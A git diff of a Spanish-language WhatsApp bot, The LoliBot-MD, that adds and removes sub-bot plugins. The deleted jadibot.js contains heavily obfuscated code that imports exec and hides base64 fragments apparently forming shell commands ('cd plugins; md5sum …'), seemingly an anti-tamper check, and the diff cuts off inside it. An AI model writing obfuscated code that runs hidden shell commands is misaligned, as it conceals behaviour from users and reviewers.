-process.once('message', resolve)
-setTimeout(resolve, 1000)
-}) * 1000
-}
-let { money } = global.db.data.users[m.sender]
-let muptime = clockString(_muptime)
-let uptime = clockString(_uptime)
-let totalreg = Object.keys(global.db.data.users).length
-let rtotalreg = Object.values(global.db.data.users).filter(user => user.registered == true).length
-let replace = {
-'%': '%',
-p: _p, uptime, muptime,
-me: conn.getName(conn.user.jid),
-
-exp: exp - min,
-maxexp: xp,
-totalexp: exp,
-xp4levelup: max - exp,
-
-level, limit, weton, week, date, dateIslamic, time, totalreg, rtotalreg, role,
-readmore: readMore
-}
-text = text.replace(new RegExp(`%(${Object.keys(replace).sort((a, b) => b.length - a.length).join`|`})`, 'g'), (_, name) => '' + replace[name])
-
-//let name = await conn.getName(m.sender)
-let pp = './media/menus/Menu1.jpg'
-let who = m.mentionedJid && m.mentionedJid[0] ? m.mentionedJid[0] : m.fromMe ? conn.user.jid : m.sender
-let mentionedJid = [who]
-let username = conn.getName(who)
-//let user = global.db.data.users[m.sender]
-//user.registered = false
-
-let TerminoA = `
-*_Toda la información que se mencione aquí no excluye a la Propietario del Bot, y Propietarios Acredores al uso de The LoliBot-MD_*
-*_No Somos responsables del desconocimiento que tenga por parte de esta información._*`.trim()
-
-let terminoB = `
-*TÉRMINOS DE PRIVACIDAD*
-_- Somos consciente del constante uso que le pueda dar al Bot, y también Garantizamos que la información como (imágenes, vídeos, enlaces, ubicación, Audios, Stickers, Gif, Contactos que Usted Proporcione en torno a Número(s) Oficial(es) No son ni serán Compartido Con Nadie, ni se usaran dicho Datos fuera del entorno del BOT._
-
-_- Lo que realicé con el BOT queda solo en Usted ya que en Número(s) Oficial(es) El Chat se Borra cada 24 Horas, según el tiempo de Mensajes Temporales de WhatsApp._
-
-_- Es posible que en Número(s) Oficial(es) el Bot no esté Activado las 24 Horas de los 7 días de la Semana, eso no implica que no lo esté o que Propietarios NO OFICIALES puedan Hacerlo._
-
-_- El chat anónimo del comando #start, valga la redundancia no mostrará ningún dato de los Usuarios por parte de The LoliBot. Eso no implica que las personas que hagan uso de esta función puedan dar a conocer sus datos. en Número(s) Oficial(es)._
-
-_- NO somos responsable si Hay alteraciones de este Bot no siendo Número(s) Oficial(es) y tengan de uso un Repositorio de GitHub que no corresponda al Oficial, o que implementen Usuarios de Terceros integraciones que comprometan a los(as) Usuarios(as) al utilizar Versiones no Oficiales._
-
-
-*TÉRMINOS DE USO*
-_- La información que haya en este Bot y el/la usuario/a Haga uso de las Mismas asumirá saber los Términos y Condiciones de tal forma que no habrá incovenientes al hacer un uso Particular de las Funciones del Bot._
-
-_- El Bot contiene Material que solo puede ser visible para mayores de 18 Años, NO somos responsable si no cumple con la edad mínima para usar el Material para Adultos._
-
-_- Las imágenes, Vídeos y Audios que tenga este Bot son de uso Público, Pero se considerará Falta de Respeto al realizar Ediciones en el Material ya exitente que porte Nombre del Bot o información relevante._
-
-_- Al hacer uso de una solicitud para ingreso de grupo con Una Cuenta Oficial, es recomendable que el grupo no cuente con temas de Odio, virus, contenido indebido, temas de discriminación u campañas sin fundamentos._
-
-_- Si ha recibido un Comunicado Oficial siendo Número(s) Oficial(es) Mantener el Respeto de la misma manera si recibe un Mensaje sin haber usado un Comando Mantener el Respeto ya que puede en este ultimo caso ser una Persona Real._
-
-
-*CONDICIONES DE USO*
-_- NO haga ni intente Llamar o hacer Videollamada al Bot siendo Número(s) Oficial(es) ya que obstaculiza el funcionamiento del BOT._
-
-_- NO usar el Bot siendo Número(s) Oficial(es) para llevar a cabo alguna acción hostil que pueda verse comprometida el Funcionamiento del BOT._
-
-_- NO use el comando de SPAM repetidamente, ya que Provocará un Mal funcionamiento en el BOT, tampoco envie al BOT mensajes que puedan comprometer el Funcionamiento de la misma._
-
-_- Al hacer uso de ciertos comandos que tengan como objetivo socavar la incomodidad, intranquilidad, molestia u otro termino tajante, se tomarán las respectivas sanciones o llamados de alerta para prevalecer la integridad de los/las Usuarios(as) y funcionamiento de The LoliBot-MD._
-
-
-*ESTE ES EL REPOSITORIO OFICIAL*
- *${md}*
-
-*GRUPOS UPDATE ACTUALIZACIONES Y NOVEDADES SOBRE EL BOT*
-*imfomarte sobre la nueva actualizaciónes y novedades de bot aqui*
-${nna}
-
-*FACEBOOK*
-~ _puede unirte al grupo asistencia facebook del bot_
-*https://facebook.com/groups/872989990425789/*
-
-
-*~ Muchas Gracias Por tomarte el tiempo en informate sobre The LoliBot-MD*
-`.trim()
-conn.sendButton(m.chat, TerminoA, terminoB, pp, [
-['ɢʀᴜᴘᴏs', `#grupos`]], m)
-}
-
-handler.customPrefix = /terminos|términos|términos, condiciones y privacidad|terminos, condiciones y privacidad|términos y condiciones y privacidad|terminosycondicionesyprivacidad|terminosycondiciones|terminos y condiciones y privacidad|terminos y condiciones|terminos y condiciones|terminos de uso|Terminos de uso|Terminó se uso|términos de uso|Términos de uso|Términos y condiciones/i
-handler.command = new RegExp
-//handler.register = true
-handler.exp = 70
-export default handler
-
-const more = String.fromCharCode(8206)
-const readMore = more.repeat(4001)
-function clockString(ms) {
-let h = isNaN(ms) ? '--' : Math.floor(ms / 3600000)
-let m = isNaN(ms) ? '--' : Math.floor(ms / 60000) % 60
-let s = isNaN(ms) ? '--' : Math.floor(ms / 1000) % 60
-return [h, m, s].map(v => v.toString().padStart(2, 0)).join(':')}
\ No newline at end of file
diff --git a/plugins/info-uptime.js b/plugins/info-uptime.js
new file mode 100644
index 000000000..79035d00d
--- /dev/null
+++ b/plugins/info-uptime.js
@@ -0,0 +1,16 @@
+const handler = async (m) => {
+const uptime = process.uptime() * 1000 // en milisegundos
+const tiempo = clockString(uptime)
+m.reply(`⏱️ *Uptime:* ${tiempo}`)
+}
+handler.help = ['uptime'];
+handler.tags = ['main'];
+handler.command = /^uptime$/i
+export default handler
+
+function clockString(ms) {
+ const h = isNaN(ms) ? '--' : Math.floor(ms / 3600000)
+ const m = isNaN(ms) ? '--' : Math.floor(ms / 60000) % 60
+ const s = isNaN(ms) ? '--' : Math.floor(ms / 1000) % 60
+ return [h, m, s].map(v => v.toString().padStart(2, 0)).join(':')
+}
diff --git a/plugins/jadi-bots.js b/plugins/jadi-bots.js
new file mode 100644
index 000000000..93cfdc7de
--- /dev/null
+++ b/plugins/jadi-bots.js
@@ -0,0 +1,59 @@
+import ws from 'ws'
+import { getSubbotConfig } from '../lib/postgres.js'
+
+const handler = async (m, { conn }) => {
+const mainId = globalThis.conn?.user?.id?.split('@')[0].split(':')[0]
+const activos = (globalThis.conns || []).filter(sock => {
+const id = sock?.userId || sock?.user?.id?.split('@')[0];
+const isAlive = sock?.userId && typeof sock?.uptime === 'number';
+return isAlive && id !== mainId;
+});
+
+if (!activos.length) return m.reply("❌ No hay subbots conectados en este momento.")
+let mensaje = `🤖 *SubBots activos: ${activos.length}*\n\n`
+const participantes = m.isGroup ? (await conn.groupMetadata(m.chat).catch(() => ({ participants: [] }))).participants || [] : []
+
+for (const sock of activos) {
+const userId = sock.user?.id
+if (!userId) continue
+const cleanId = userId.replace(/:\d+/, '').split('@')[0]
+const configId = userId.replace(/:\d+/, '')
+const nombre = sock.user.name || "-"
+let config = {}
+try {
+config = await getSubbotConfig(configId)
+} catch {
+config = { prefix: ["/", ".", "#"], mode: "public" }
+}
+
+const modo = config.mode === "private" ? "Private" : "Public"
+const prefijos = Array.isArray(config.prefix) ? config.prefix : [config.prefix]
+const prefText = prefijos.map(p => `\`${p}\``).join(", ")
+const mainPrefix = (prefijos[0] === "") ? "" : prefijos[0]
+const textoMenu = mainPrefix ? `${mainPrefix}menu` : "menu"
+const uptime = sock.uptime ? formatearMs(Date.now() - sock.uptime) : "Desconocido"
+const estaEnGrupo = participantes.some(p => p.id === userId)
+const mostrarNumero = !config.privacy
+const mostrarPrestar = config.prestar && !config.privacy
+let lineaBot = `• ${mostrarNumero ? `wa.me/${cleanId}?text=${encodeURIComponent(textoMenu)} (${nombre})` : `(${nombre})`}\n`
+mensaje += lineaBot
+mensaje += ` ⏱️ Tiempo activo: *${uptime}*\n`
+mensaje += ` ⚙️ Modo: *${modo}*\n`
+mensaje += ` 🛠️ Prefix: ${prefText}\n`
+if (mostrarPrestar) mensaje += ` 🟢 *Prestar bot*: #join \n`
+mensaje += `\n`
+}
+return m.reply(mensaje.trim())
+}
+handler.help = ['bots']
+handler.tags = ['jadibot']
+handler.command = /^bots$/i
+export default handler
+
+function formatearMs(ms) {
+ const segundos = Math.floor(ms / 1000)
+ const minutos = Math.floor(segundos / 60)
+ const horas = Math.floor(minutos / 60)
+ const dias = Math.floor(horas / 24)
+ return `${dias}d ${horas % 24}h ${minutos % 60}m ${segundos % 60}s`
+}
\ No newline at end of file
diff --git a/plugins/jadi-privacidad.js b/plugins/jadi-privacidad.js
new file mode 100644
index 000000000..3e1f96725
--- /dev/null
+++ b/plugins/jadi-privacidad.js
@@ -0,0 +1,34 @@
+import { db } from '../lib/postgres.js'
+
+let handler = async (m, { conn, command, args, usedPrefix }) => {
+const val = args[0];
+if (!['1', '0'].includes(val)) return m.reply(`Usa:\n${usedPrefix}${command} 1 (activar)\n${usedPrefix}${command} 0 (desactivar)`);
+
+const id = conn.user?.id;
+if (!id) return
+const botId = id.replace(/:\d+/, '');
+try {
+if (/setprivacy|privacy/i.test(command)) {
+const privacyVal = val === '1';
+const res = await db.query(`INSERT INTO subbots (id, privacy)
+ VALUES ($1, $2)
+ ON CONFLICT (id) DO UPDATE SET privacy = $2 RETURNING privacy`, [botId, privacyVal]);
+return m.reply(privacyVal ? '✅ *Privacidad activada.*\n> Tu número no se mostrará en la lista de bots.' : '✅ *Privacidad desactivada.*\n> Tu número se mostrará en la lista de bots.');
+}
+
+if (/setprestar|prestar/i.test(command)) {
+const prestarVal = val === '1';
+const res = await db.query(`INSERT INTO subbots (id, prestar)
+ VALUES ($1, $2)
+ ON CONFLICT (id) DO UPDATE SET prestar = $2 RETURNING prestar`, [botId, prestarVal]);
+return m.reply(prestarVal ? '✅ *Prestar bot activado.*\n> Los usuarios pueden usar el bot para unirlo a grupos.' : '✅ *Prestar bot desactivado.*\n> Los usuarios no podrán unir el bot a grupos.');
+}} catch (err) {
+console.error(err);
+}}
+handler.help = ['setprivacy', 'setprestar']
+handler.tags = ['jadibot']
+handler.command = /^(privacy|prestar|setprestar|setprivacy)$/i
+handler.owner = true
+handler.register = true
+
+export default handler
\ No newline at end of file
diff --git a/plugins/jadi-setprimary.js b/plugins/jadi-setprimary.js
new file mode 100644
index 000000000..685c5face
--- /dev/null
+++ b/plugins/jadi-setprimary.js
@@ -0,0 +1,33 @@
+const handler = async (m, { conn, args, participants, isAdmin, isGroup, command }) => {
+const mentioned = m.mentionedJid?.[0];
+
+if (!mentioned) {
+try {
+await m.db.query("UPDATE group_settings SET primary_bot = NULL WHERE group_id = $1", [m.chat]);
+await m.reply("✅ El bot primario ha sido eliminado de este grupo. Ahora cualquier subbot puede responder.");
+} catch (err) {
+console.error(err);
+}
+return;
+}
+
+const botId = conn.user?.id.replace(/:\d+/, "");
+const selectedId = mentioned.replace(/:\d+/, "").replace("@s.whatsapp.net", "");
+
+if (selectedId !== botId) {
+try {
+await conn.sendMessage(m.chat, { text: `✅ El bot @${selectedId} ha sido establecido como *BOT PRINCIPAL* de este grupo.`, mentions: [mentioned]}, { quoted: m });
+await m.db.query("UPDATE group_settings SET primary_bot = $1 WHERE group_id = $2", [mentioned, m.chat]);
+} catch (err) {
+console.error(err);
+}} else {
+await m.db.query("UPDATE group_settings SET primary_bot = $1 WHERE group_id = $2", [botId + "@s.whatsapp.net", m.chat]);
+await m.reply("✅ Te has establecido como el bot principal de este grupo.");
+}};
+handler.help = ['setprimary'];
+handler.tags = ['jadibot'];
+handler.command = /^setprimary$/i;
+handler.group = true;
+handler.admin = true;
+
+export default handler;
diff --git a/plugins/jadi-stop.js b/plugins/jadi-stop.js
new file mode 100644
index 000000000..0aeaf97f4
--- /dev/null
+++ b/plugins/jadi-stop.js
@@ -0,0 +1,34 @@
+import fs from "fs";
+import path from "path";
+
+const handler = async (m, { conn }) => {
+const rawId = conn.user?.id || "";
+const cleanId = rawId.replace(/:\d+/, ""); // elimina :16, :17
+const sessionPath = path.join("jadibot", cleanId);
+const isSubBot = fs.existsSync(sessionPath);
+if (!isSubBot) return m.reply("⚠️ Este comando solo puede ser usado desde una instancia de *SubBot*.")
+try {
+await m.reply("Adios te voy a extrañar :(");
+await conn.logout();
+
+setTimeout(() => {
+if (fs.existsSync(sessionPath)) {
+fs.rmSync(sessionPath, { recursive: true, force: true });
+console.log(`[SubBot ${cleanId}] Sesión cerrada y eliminada.`);
+}}, 2000);
+
+setTimeout(() => {
+m.reply("✅ *Sesión del SubBot finalizada correctamente.*\nPuedes volver a conectarte usando `/jadibot` o `/serbot`.");
+}, 3000);
+} catch (err) {
+console.error(`❌ Error al cerrar el subbot ${cleanId}:`, err);
+await m.reply("❌ Ocurrió un error al cerrar la sesión del SubBot.");
+}};
+handler.help = ['stop'];
+handler.tags = ['jadibot'];
+handler.command = /^(stop)$/i;
+handler.owner = true;
+handler.private = true;
+handler.register = true
+
+export default handler;
diff --git a/plugins/jadibot-delete.js b/plugins/jadibot-delete.js
deleted file mode 100644
index 12099baee..000000000
--- a/plugins/jadibot-delete.js
+++ /dev/null
@@ -1,33 +0,0 @@
-/*
-
-⚠ PROHIBIDO EDITAR ⚠ -- ⚠ PROHIBIDO EDITAR ⚠ -- ⚠ PROHIBIDO EDITAR ⚠
-
-El codigo de este archivo fue realizado por:
-- ReyEndymion (https://github.com/ReyEndymion)
-
-⚠ PROHIBIDO EDITAR ⚠ -- ⚠ PROHIBIDO EDITAR ⚠ -- ⚠ PROHIBIDO EDITAR ⚠
-
-*/
-
-import { readdirSync, statSync, unlinkSync, existsSync, readFileSync, watch, rmSync, promises as fs} from "fs"
-import path, { join } from 'path'
-let handler = async (m, { conn }, args) => {
-let parentw = conn
-let who = m.mentionedJid && m.mentionedJid[0] ? m.mentionedJid[0] : m.fromMe ? conn.user.jid : m.sender
-let uniqid = `${who.split`@`[0]}`
-if (global.conn.user.jid !== conn.user.jid) return conn.sendMessage(m.chat, {text: '*Use este comando directamente en el numero del Bot principal*'}, { quoted: m })
-else {
-await conn.sendMessage(m.chat, {text: "*👋 Adiós Bot, haz dejado de ser un Bot*"}, { quoted: m })
-}
-try {
-fs.rmdir("./jadibts/" + uniqid, { recursive: true, force: true })
-await conn.sendMessage(m.chat, {text : "*Todos los archivos de session fueron eliminados*" } , { quoted: m })
-} catch(err) {
-console.error('La carpeta o archivo de sesion no existen ', err)
-}}
-handler.help = ['deletebot']
-handler.tags = ['jadibot']
-handler.command = /^(deletebot|eliminarsesion|deletesesion)$/i
-handler.private = true
-handler.fail = null
-export default handler
diff --git a/plugins/jadibot-delete2.js b/plugins/jadibot-delete2.js
deleted file mode 100644
index 6252f7580..000000000
--- a/plugins/jadibot-delete2.js
+++ /dev/null
@@ -1,32 +0,0 @@
-import { readdirSync, unlinkSync, existsSync, promises as fs, rmSync } from 'fs';
-import path from 'path';
-const handler = async (m, { conn, usedPrefix }) => {
-const chatId = m.isGroup ? m.chat : m.sender;
-const uniqid = chatId.split('@')[0];
-const sessionPath = './BotSession/';
-try {
-const files = await fs.readdir(sessionPath);
-let filesDeleted = 0;
-for (const file of files) {
-if (file.includes(uniqid)) {
-await fs.unlink(path.join(sessionPath, file));
-filesDeleted++;
-}}
-if (filesDeleted === 0) {
-await conn.sendMessage(m.chat, { text: `${lenguajeGB['smsAvisoAG']()}𝙉𝙊 𝙎𝙀 𝙀𝙉𝘾𝙊𝙉𝙏𝙍𝙊́ 𝙉𝙄𝙉𝙂𝙐𝙉 𝘼𝙍𝘾𝙃𝙄𝙑𝙊𝙎 𝙌𝙐𝙀 𝙄𝙉𝘾𝙇𝙐𝙔𝘼 𝙇𝘼 𝙄𝘿 𝘿𝙀𝙇 𝘾𝙃𝘼𝙏` }, { quoted: m });
-} else {
-await conn.sendMessage(m.chat,
-{ text: `${lenguajeGB['smsAvisoEG']()}𝙎𝙀 𝙀𝙇𝙄𝙈𝙄𝙉𝘼𝙍𝙊𝙉 ${filesDeleted} 𝘼𝙍𝘾𝙃𝙄𝙑𝙊𝙎 𝘿𝙀 𝙎𝙀𝙎𝙄𝙊𝙉` },
-{ quoted: m }
-)}
-} catch (err) {
-console.error(`${lenguajeGB['smsAvisoFG']()}𝙇𝘼 𝘾𝘼𝙍𝙋𝙀𝙏𝘼 𝙊 𝙀𝙇 𝘼𝙍𝘾𝙃𝙄𝙑𝙊 𝘿𝙀 𝙎𝙀𝙎𝙄𝙊𝙉 𝙉𝙊 𝙀𝙓𝙄𝙎𝙏𝙀𝙉`, err);
-await conn.sendMessage(m.chat,
-{ text: `${lenguajeGB['smsAvisoFG']()}𝙊𝘾𝙐𝙍𝙍𝙄𝙊 𝙐𝙉 𝙀𝙍𝙍𝙊𝙍 𝘼𝙇 𝙀𝙇𝙄𝙈𝙄𝙉𝘼𝙍 𝙇𝙊𝙎 𝘼𝙍𝘾𝙃𝙄𝙑𝙊𝙎 𝘿𝙀 𝙎𝙀𝙎𝙎𝙄𝙊𝙉` },
-{ quoted: m }
-)}
-await conn.sendMessage(m.chat, {text: `${lenguajeGB['smsAvisoRG']()}🐈 𝙃𝙊𝙇𝘼 𝙔𝘼 𝙁𝙐𝙉𝘾𝙄𝙊𝙉𝘼\n𝙎𝙄 𝙀𝙇 𝘽𝙊𝙏 𝙉𝙊 𝙇𝙀 𝙍𝙀𝙎𝙋𝙊𝙉𝘿𝙀 𝘼 𝙎𝙐𝙎 𝘾𝙊𝙈𝘼𝙉𝘿𝙊 𝙋𝙊𝙍 𝙁𝘼𝙑𝙊𝙍 𝙃𝘼𝙂𝘼 𝙐𝙉 𝙋𝙀𝙌𝙐𝙀𝙉𝙊𝙎 𝙎𝙋𝘼𝙈\n\n*𝙀𝙅𝙀𝙈𝙋𝙇𝙊:*\n${usedPrefix}s\n${usedPrefix}s\n${usedPrefix}s`}, { quoted: m })};
-handler.help = ['deletebot'];
-handler.tags = ['jadibot'];
-handler.command = /^(msgespera|ds)$/i;
-export default handler;
diff --git a/plugins/jadibot-parar.js b/plugins/jadibot-parar.js
deleted file mode 100644
index 1c7b7c622..000000000
--- a/plugins/jadibot-parar.js
+++ /dev/null
@@ -1,9 +0,0 @@
-let handler = async (m, { conn }) => {
-if (global.conn.user.jid == conn.user.jid) conn.reply(m.chat, `Por qué no vas directamente con el numero del Bot`, m)
-else {
-await conn.reply(m.chat, `Usted ha cerrado session`, m)
-conn.ws.close()
-}}
-handler.command = /^(berhenti|stop|detener)$/i
-
-export default handler
diff --git a/plugins/jadibot-serbot-bots.js b/plugins/jadibot-serbot-bots.js
deleted file mode 100644
index 8daff35b8..000000000
--- a/plugins/jadibot-serbot-bots.js
+++ /dev/null
@@ -1,34 +0,0 @@
-import ws from 'ws';
-async function handler(m, { conn: _envio, usedPrefix }) {
-const users = [...new Set([...global.conns.filter((conn) => conn.user && conn.ws.socket && conn.ws.socket.readyState !== ws.CLOSED).map((conn) => conn)])];
-function convertirMsADiasHorasMinutosSegundos(ms) {
-var segundos = Math.floor(ms / 1000);
-var minutos = Math.floor(segundos / 60);
-var horas = Math.floor(minutos / 60);
-var días = Math.floor(horas / 24);
-segundos %= 60;
-minutos %= 60;
-horas %= 24;
-var resultado = "";
-if (días !== 0) {
-resultado += días + " días, ";
-}
-if (horas !== 0) {
-resultado += horas + " horas, ";
-}
-if (minutos !== 0) {
-resultado += minutos + " minutos, ";
-}
-if (segundos !== 0) {
-resultado += segundos + " segundos";
-}
-return resultado;
-}
-const message = users.map((v, index) => `👉🏻 wa.me/${v.user.jid.replace(/[^0-9]/g, '')}?text=${usedPrefix}estado (${v.user.name || '-'})\n*🔰 Tiempo activo :* ${ v.uptime ? convertirMsADiasHorasMinutosSegundos(Date.now() - v.uptime) : "Desconocido"}`).join('\n\n')
- const replyMessage = message.length === 0 ? '*No hay Sub bots conectado, verifique mas tardes.*' : message;
-const totalUsers = users.length;
-const responseMessage = `*🤖 Aquí tienes la lista de algunos sub bots (jadibot/serbot) 🤖️*\n\n*👉🏻 Puedes contactarlos para ver si se unen a tu grupo*\n\n*Te pedimos de favor que:*\n*1.- Seas amable ✅*\n*2.- No insistas ni discutas ✅*\n\n*✳ ️Si le aparece el siguiente texto en blanco es que no hay ningún sub bot disponible en este momento inténtelo mas tarde*\n\n*_⚠ NOTA: ️ELLOS SON PERSONAS QUE NO CONOCEMOS.. POR LO QUE EL EQUIPO DE LOLIBOT NO SE HACE RESPONSABLE DE LO QUE PUEDA OCURRIR AHI.._*\n\n*🤖 SUBBOTS CONECTADO :* ${totalUsers || '0'}\n\n${replyMessage.trim()}`.trim();
-await _envio.sendMessage(m.chat, {text: responseMessage, mentions: _envio.parseMention(responseMessage)}, {quoted: m})}
-handler.command = handler.help = ['listjadibot', 'bots', 'subsbots'];
-handler.tags = ['jadibot'];
-export default handler;
diff --git a/plugins/jadibot-serbot-broadcast.js b/plugins/jadibot-serbot-broadcast.js
deleted file mode 100644
index 61fa6b19e..000000000
--- a/plugins/jadibot-serbot-broadcast.js
+++ /dev/null
@@ -1,33 +0,0 @@
-let handler = async (m, { conn, usedPrefix, text }) => {
- if (conn.user.jid !== global.conn.user.jid) throw false
- let users = [...new Set([...global.conns.filter(conn => conn.user && conn.state !== 'close').map(conn => conn.user.jid)])]
- let cc = text ? m : m.quoted ? await m.getQuotedObj() : false || m
- let teks = text ? text : cc.text
- let content = conn.cMod(m.chat, cc, /bc|broadcast/i.test(teks) ? teks : '*〔 DIFUSION A SUB BOTS 〕*\n\n' + teks)
- for (let id of users) {
- await delay(1500)
- await conn.copyNForward(id, content, true)
- }
- conn.reply(m.chat, `*Difusión enviada con éxito a ${users.length} sub bots*
-
- ${users.map(v => '👉🏻 wa.me/' + v.replace(/[^0-9]/g, '') + `?text=${encodeURIComponent(usedPrefix)}estado`).join('\n')}
- \n*Se finalizo con el envió en ${users.length * 1.5} segundos aproximadamente*`.trim(), m)
- }
- handler.command = /^bcbot$/i
- handler.rowner = true
- handler.mods = false
- handler.premium = false
- handler.group = false
- handler.private = false
-
- handler.admin = false
- handler.botAdmin = false
-
- handler.fail = null
-
- export default handler
-
- const more = String.fromCharCode(8206)
- const readMore = more.repeat(4001)
-
- const delay = time => new Promise(res => setTimeout(res, time))
diff --git a/plugins/jadibot.js b/plugins/jadibot.js
index a3fddf658..5db1a2baf 100644
--- a/plugins/jadibot.js
+++ b/plugins/jadibot.js
@@ -1,15 +1,20 @@
-/*⚠ PROHIBIDO EDITAR ⚠
+import { startSubBot } from '../lib/subbot.js';
+let commandFlags = {};
-El codigo de este archivo esta totalmente hecho por:
-- Aiden_NotLogic >> https://github.com/ferhacks
+const handler = async (m, { conn, command }) => {
+commandFlags[m.sender] = true;
+
+const rtx = `*🔰 LoliBot-MD 🔰*\nㅤㅤㅤㅤSer sub bot\n\n*Con otro telefono que tengas o en la PC escanea este QR para convertirte en un sub bot*\n\n*1. Haga clic en los tres puntos en la esquina superior derecha*\n*2. Toca WhatsApp Web*\n*3. Escanee este código QR*\n*Este código QR expira en 45 segundos!*\n\n> *⚠️ No nos hacemos responsable del mal uso que se le pueda dar.*`;
+const rtx2 = `*🔰 LoliBot-MD 🔰*\nㅤㅤㅤㅤSer sub bot\n\n*1️⃣ Dirígete a los tres puntos en la esquina superior derecha*\n*2️⃣ Opción: Dispositivos vinculados*\n*3️⃣ Vincular con código de teléfono*\n*4️⃣ Pega el código a continuación*\n> Codigo de 8 digitos vencen en 60 segundos`;
-El codigo de este archivo fue parchado por:
-- ReyEndymion >> https://github.com/ReyEndymion
-- BrunoSobrino >> https://github.com/BrunoSobrino
+const phone = m.sender?.split('@')[0];
+const isCode = /^(serbot|code)$/.test(command);
+const caption = isCode ? rtx2 : rtx;
+await startSubBot(m, conn, caption, isCode, phone, m.chat, commandFlags);
+};
+handler.help = ['jadibot', 'serbot', 'code'];
+handler.tags = ['jadibot'];
+handler.command = /^(serbot|code|jadibot|qr)$/i;
+handler.register = false;
-Contenido adaptado por:
-- GataNina-Li >> https://github.com/GataNina-Li
-- elrebelde21 >> https://github.com/elrebelde21
-*/
-
-const _0xf03a6=_0x529a;function _0x2d45(){const _0x411181=['881718SxFQMb','bind','groupsUpdate','conns','sIcon','chat','jid','requestPairingCode','Omitiendo\x20mensajes\x20en\x20espera.','\x20al\x20numero\x20oficial/principal\x20del\x20Bot*\x0a\x0a*👉🏻\x20wa.me/','smsSicon','jadibot','close','child_process','4479838btJmkg','utf-8','readFileSync','chats','tags','loggedOut','IF9hdXRvcmVzcG9uZGVyLmpzIGluZm8tYm90Lmpz','206qteJwH','log','isInit','smsIniJadi','smsSrevoke','smsJBConexionTrue2','5.0','onCall','from','open','silent','payload','serbot','catch','../handler.js?update=','CkphZGlib3QsIEhlY2hv','command','call','timedOut','statusCode','DcgIF9hdXRvcmVzcG9uZGVyLmpzCjU5Yzc0ZjFjNmEz','smsConexiontiem','smsreenvia','smsJBConexionClose2','sendMessage','smsSdesc','output','100540GoBVIL','credsUpdate','stringify','smsWelcome','messages.upsert','Opera','smsSsubject','ZThkMmNkOGVlMDFmZD','base64','forEach','data','remoteJid','494442GBafbR','/creds.json','Sub\x20Bot','toBuffer','trim','175255VRQruy','indexOf','smsConexionperdida','reply','../handler.js','off','UzYTI1MTQgIGluZ','isBanned','restartRequired','writeFileSync','push','Leyendo\x20mensaje\x20entrante:','replace','NjNmYmJjYzA1YmFiY2MzZGU4MGRlICBpbmZvLWJvdC5qcwo','smsJBCargando','smsConexiondescon','existsSync','parse','toString','user','「🤖\x20𝕿𝖍𝖊-𝕷𝖔𝖑𝖎𝕭𝖔𝖙-𝕸𝕯\x20🤖」\x0a\x0a*⚠️\x20No\x20se\x20puede\x20hacer\x20un\x20bot\x20dentro\x20de\x20un\x20sub\x20bot!*\x0a*✳️\x20Mande\x20el\x20comando\x20','NjBhZGVmZWI4N2M2','rentbot','groups.update','deleteUpdate','spromote','NzZjM2ZmMzU2MTEyMzM3OTczOWU5ZmFmMDZjYzUzO','keys','message.delete','removeAllListeners','16yVMlgy','now','baileys','28wWNfqn','sDesc','\x0a\x0a「🤖\x20𝕿𝖍𝖊-𝕷𝖔𝖑𝖎𝕭𝖔𝖙-𝕸𝕯\x20🤖」','creds.update','smsConexionreem','connection.update','participantsUpdate','./jadibts/','error','sender','handler','group-participants.update','split','badSession','connectionUpdate','Chrome\x20(Linux)','creds','1442088omxAaa','mkdirSync','mentionedJid','unlinkSync','help','smsSdemote','onDelete','SBpbmZvLWRvbmFyLmpz','&text=','--code','961qeOxaI','smsBye','306MQgGZi','getcode'];_0x2d45=function(){return _0x411181;};return _0x2d45();}(function(_0x44f339,_0x222935){const _0x3789bf=_0x529a,_0x3c9ce8=_0x44f339();while(!![]){try{const _0x4d1079=-parseInt(_0x3789bf(0x222))/0x1*(-parseInt(_0x3789bf(0x1ba))/0x2)+-parseInt(_0x3789bf(0x1e1))/0x3+-parseInt(_0x3789bf(0x204))/0x4*(-parseInt(_0x3789bf(0x1e6))/0x5)+-parseInt(_0x3789bf(0x226))/0x6*(parseInt(_0x3789bf(0x207))/0x7)+parseInt(_0x3789bf(0x218))/0x8+parseInt(_0x3789bf(0x224))/0x9*(parseInt(_0x3789bf(0x1d5))/0xa)+parseInt(_0x3789bf(0x234))/0xb;if(_0x4d1079===_0x222935)break;else _0x3c9ce8['push'](_0x3c9ce8['shift']());}catch(_0x1c0b87){_0x3c9ce8['push'](_0x3c9ce8['shift']());}}}(_0x2d45,0x658ac));const {useMultiFileAuthState,DisconnectReason,makeCacheableSignalKeyStore,fetchLatestBaileysVersion}=await import(global[_0xf03a6(0x206)]);import _0x1b281a from'qrcode';import _0x459f9f from'node-cache';import _0x4b12c1 from'fs';function _0x529a(_0x214a6f,_0x4a6c48){const _0x2d4502=_0x2d45();return _0x529a=function(_0x529a0d,_0x4609ba){_0x529a0d=_0x529a0d-0x1b5;let _0x22eb7a=_0x2d4502[_0x529a0d];return _0x22eb7a;},_0x529a(_0x214a6f,_0x4a6c48);}import _0x394ddc from'path';import _0x164d95 from'pino';import _0x2560ce from'util';import*as _0x2ce165 from'ws';const {child,spawn,exec}=await import(_0xf03a6(0x233)),{CONNECTING}=_0x2ce165;import{makeWASocket}from'../lib/simple.js';let check1=_0xf03a6(0x1fb),check2=_0xf03a6(0x1dc),check3=_0xf03a6(0x1ec),check4='m8tZG9uYXIuanMK',check5=_0xf03a6(0x200),check6=_0xf03a6(0x1ce),check8=_0xf03a6(0x1f3),crm1='Y2QgcGx1Z2lucy',crm2='A7IG1kNXN1b',crm3=_0xf03a6(0x21f),crm4=_0xf03a6(0x1b9),drm1=_0xf03a6(0x1c9),drm2='IHBvciBAQWlkZW5fTm90TG9naWM',rtx=''+lenguajeGB[_0xf03a6(0x1bd)](),rtx2=''+lenguajeGB['smsIniJadi2']();if(global[_0xf03a6(0x229)]instanceof Array)console[_0xf03a6(0x1bb)]();else global['conns']=[];let handler=async(_0x51937e,{conn:_0x51e718,args:_0x16fbae,usedPrefix:_0x35f495,command:_0x8933b,isOwner:_0x93255e})=>{const _0x51cbc1=_0xf03a6;let _0x566da8=_0x51e718;if(_0x51e718['user']['jid']!==global['conn'][_0x51cbc1(0x1f9)][_0x51cbc1(0x22c)])return _0x566da8[_0x51cbc1(0x1e9)](_0x51937e['chat'],_0x51cbc1(0x1fa)+_0x8933b+_0x51cbc1(0x22f)+global['conn'][_0x51cbc1(0x1f9)][_0x51cbc1(0x22c)][_0x51cbc1(0x213)]`@`[0x0]+_0x51cbc1(0x220)+(_0x35f495+_0x8933b)+_0x51cbc1(0x209),_0x51937e);const 